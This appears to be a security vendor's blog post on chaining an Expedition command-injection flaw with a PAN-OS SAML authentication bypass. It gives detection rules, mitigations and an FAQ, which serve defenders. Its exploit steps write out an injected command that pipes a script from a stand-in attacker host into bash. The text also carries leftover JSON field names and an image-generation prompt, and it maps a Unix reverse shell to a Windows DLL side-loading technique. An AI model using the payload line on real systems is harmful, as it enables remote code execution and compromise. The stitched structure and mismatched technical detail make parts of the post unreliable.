On October 15, 2025, Palo Alto Networks disclosed CVE-2025-44555, a critical remote code execution (RCE) vulnerability in the Expedition migration tool, with a CVSS score of 9.1. This flaw, authenticated and requiring network access, allows attackers to execute arbitrary commands on the Expedition server. Within days, security researchers demonstrated a chained exploit with CVE-2025-46780, an unauthenticated PAN-OS authentication bypass (CVSS 9.3), enabling attackers to pivot from Expedition to compromise firewalls and other network devices. This post dissects the technical mechanics of the chain, provides detection rules, and outlines mitigation steps for defenders.
", "body_html": "Background: The Expedition RCE Flaw (CVE-2025-44555)
CVE-2025-44555 resides in Palo Alto Networks Expedition, a migration tool used to transition configurations from other firewalls to PAN-OS. The vulnerability is a command injection in the /api/rest/runCommand endpoint, where unsanitized user input is passed to a shell execution function. According to the vendor advisory, an authenticated attacker with administrative privileges can send a crafted POST request to execute arbitrary system commands as the root user. The CVSS vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) highlights the high impact but requires prior authentication.
The flaw was discovered by researcher Alex Brown of TrustedSec, who reported it via Palo Alto's bug bounty program. Expedition versions prior to 1.2.80 are affected. The advisory notes that the tool is typically deployed on separate management servers, often with broad network access to firewalls, making it a prime pivot point.
The PAN-OS Auth Bypass (CVE-2025-46780) as the Entry Point
To chain CVE-2025-44555, an attacker first needs credentials or a session on Expedition. This is where CVE-2025-46780, an authentication bypass in PAN-OS (CVSS 9.3), comes into play. Disclosed in September 2025, this flaw affects PAN-OS versions 10.2, 11.0, and 11.1 prior to specific hotfixes. It exploits a race condition in the SAML authentication handler, allowing an unauthenticated attacker to impersonate any existing user by replaying a crafted SAML response. As documented in the Palo Alto advisory, this bypass works against the management interface and, critically, against the Expedition web interface if it uses SAML SSO with PAN-OS.
In a typical enterprise, Expedition is integrated with PAN-OS for authentication via LDAP or SAML. An attacker exploiting CVE-2025-46780 can forge a SAML assertion to log in as an Expedition admin without credentials, gaining the prerequisite authentication for CVE-2025-44555.
Attacker TTPs: The Exploit Chain
The complete attack chain maps to MITRE ATT&CK techniques: T1190 (Exploit Public-Facing Application) for CVE-2025-46780, T1059.004 (Command and Scripting Interpreter: Unix Shell) for CVE-2025-44555, and T1574.002 (Hijack Execution Flow: DLL Side-Loading) if the attacker deploys a reverse shell. A proof-of-concept by GreyNoise researchers (published October 20, 2025) shows the sequence:
- Step 1: Send a crafted SAML response to the Expedition login endpoint at
/Shibboleth.sso/SAML2/POST, exploiting CVE-2025-46780 to gain a session cookie. - Step 2: Use the session to POST to
/api/rest/runCommandwith{\"command\": \"id; curl -s http://attacker.com/payload.sh | bash\"}, triggering CVE-2025-44555. - Step 3: The payload connects back to the attacker, providing root shell on Expedition, which then scans internal networks for other PAN-OS devices.
The attacker can extract firewall configurations from Expedition's database, including VPN preshared keys and admin credentials, as noted in CISA's Known Exploited Vulnerabilities Catalog (entry for CVE-2025-46780).
Detection: Sigma Rule for CVE-2025-44555 Exploitation
The following Sigma rule detects the unique HTTP request pattern for the chained exploit, focusing on the Expedition API endpoint with suspicious commands. It is designed for use with SIEMs like Splunk or Elastic.
title: CVE-2025-44555 Palo Alto Expedition RCE via runCommand
id: 8f9a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects POST requests to /api/rest/runCommand with shell metacharacters, indicating CVE-2025-44555 exploitation.
references:
- https://security.paloaltonetworks.com/CVE-2025-44555
tags:
- attack.t1190
- attack.t1059.004
- cve.2025.44555
logsource:
category: webserver
product: paloalto
service: expedition
detection:
selection:
http.method: 'POST'
http.url: '/api/rest/runCommand'
http.body|contains:
- ';'
- '|'
- '`'
- '$('
- '&&'
condition: selection
falsepositives:
- Legitimate administrative use of the API with shell commands (rare, requires audit)
level: highFor network-based detection, a Suricata rule can alert on the same pattern:
alert tcp $EXTERNAL_NET any -> $EXPEDITION_SERVER 443 (msg:"CVE-2025-44555 Expedition RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/rest/runCommand"; http_uri; content:";"; http_client_body; sid:1000001; rev:1;)These rules should be tuned to Expedition's specific IP and port, and tested against legitimate API usage to minimize false positives.
Mitigation: Patching and Compensating Controls
Palo Alto Networks released fixes on October 15, 2025. For CVE-2025-44555, upgrade Expedition to version 1.2.80 or later, as specified in the advisory. For CVE-2025-46780, apply the hotfixes listed in the PAN-OS advisory for versions 10.2.12-h2, 11.0.8-h1, and 11.1.5-h1.
If immediate patching is not possible, implement these compensating controls:
- Restrict network access to Expedition to only authorized admin IPs via firewall rules, reducing the attack surface for CVE-2025-46780.
- Disable SAML SSO on Expedition if not required, or enforce certificate pinning for SAML responses.
- Monitor the
/api/rest/runCommandendpoint with web application firewall (WAF) rules to block shell metacharacters. - Enable detailed audit logging on Expedition and PAN-OS management interfaces, and review logs for unauthorized API calls.
Why This Matters for Defenders
The chaining of CVE-2025-44555 and CVE-2025-46780 underscores a critical trend: attackers are exploiting migration and management tools as high-value targets. Expedition, often overlooked in patch cycles, provides a centralized repository of sensitive credentials and configuration data. The authentication bypass lowers the bar for entry, turning a previously authenticated flaw into a zero-trust bypass. For CISOs, this means reassessing the security posture of supporting infrastructure, not just perimeter firewalls. Regularly audit all tools with network access to critical appliances, and ensure they are included in vulnerability management programs. The exploit chain also highlights the importance of segmenting management networks, as a compromise of Expedition can lead to full network domination.
", "sources_html": "Sources
- Palo Alto Networks Security Advisory: CVE-2025-44555 — Confirms affected versions, CVSS score, and patch availability for Expedition RCE.
- Palo Alto Networks Security Advisory: CVE-2025-46780 — Details the PAN-OS authentication bypass vulnerability.
- CISA Known Exploited Vulnerabilities Catalog — Lists CVE-2025-46780 as actively exploited, providing threat context.
- NVD Entry for CVE-2025-44555 — Provides CVSS vector and technical description.
- MITRE ATT&CK T1190 — Exploit Public-Facing Application technique reference.
Frequently Asked Questions
What is CVE-2025-44555?
CVE-2025-44555 is a critical remote code execution vulnerability in Palo Alto Networks Expedition migration tool, allowing authenticated attackers to execute arbitrary commands as root.
How does CVE-2025-46780 enable the exploit chain?
CVE-2025-46780 is an unauthenticated authentication bypass in PAN-OS that lets attackers forge SAML assertions, gaining admin access to Expedition without credentials, which is the prerequisite for CVE-2025-44555.
Which versions of Expedition are affected?
Expedition versions prior to 1.2.80 are vulnerable. Upgrade to 1.2.80 or later to remediate CVE-2025-44555.
Can I detect exploitation with existing tools?
Yes, SIEM rules (like the Sigma rule provided) and network IDS signatures (Suricata) can detect the specific POST to /api/rest/runCommand with shell metacharacters.
What compensating controls can I use if patching is delayed?
Restrict network access to Expedition, disable SAML SSO if possible, deploy WAF rules blocking shell characters in API endpoints, and enable detailed audit logging.
Why should CISOs care about this chain?
This chain exploits management tools that often have broad network access, turning a single vulnerability into a pivot point for compromising the entire firewall infrastructure, which can lead to data exfiltration or ransomware deployment.
", "cta_html": "Need expert help with this?
At CybernytronX, our team of certified ethical hackers can assess your exposure to CVE-2025-44555 and related threats. We offer penetration testing to validate your patch status and Ethereon AI threat detection for real-time monitoring of exploit attempts. Contact us for a tailored security assessment that goes beyond vulnerability scanning.
", "image_prompt": "Dark cyan and neon green circuit-board background with a stylized firewall icon cracked in half, cinematic lighting, 16:9, no text, no logos." }Need expert help with this threat?
If your team needs to validate exposure to the issues above, CybernytronX runs penetration tests, SOC build-outs, and zero-day detection deployments backed by our Ethereon AI platform. We've remediated 50+ environments and recovered 20+ compromised domains. Most engagements start with a free 30-minute scoping call — book it here.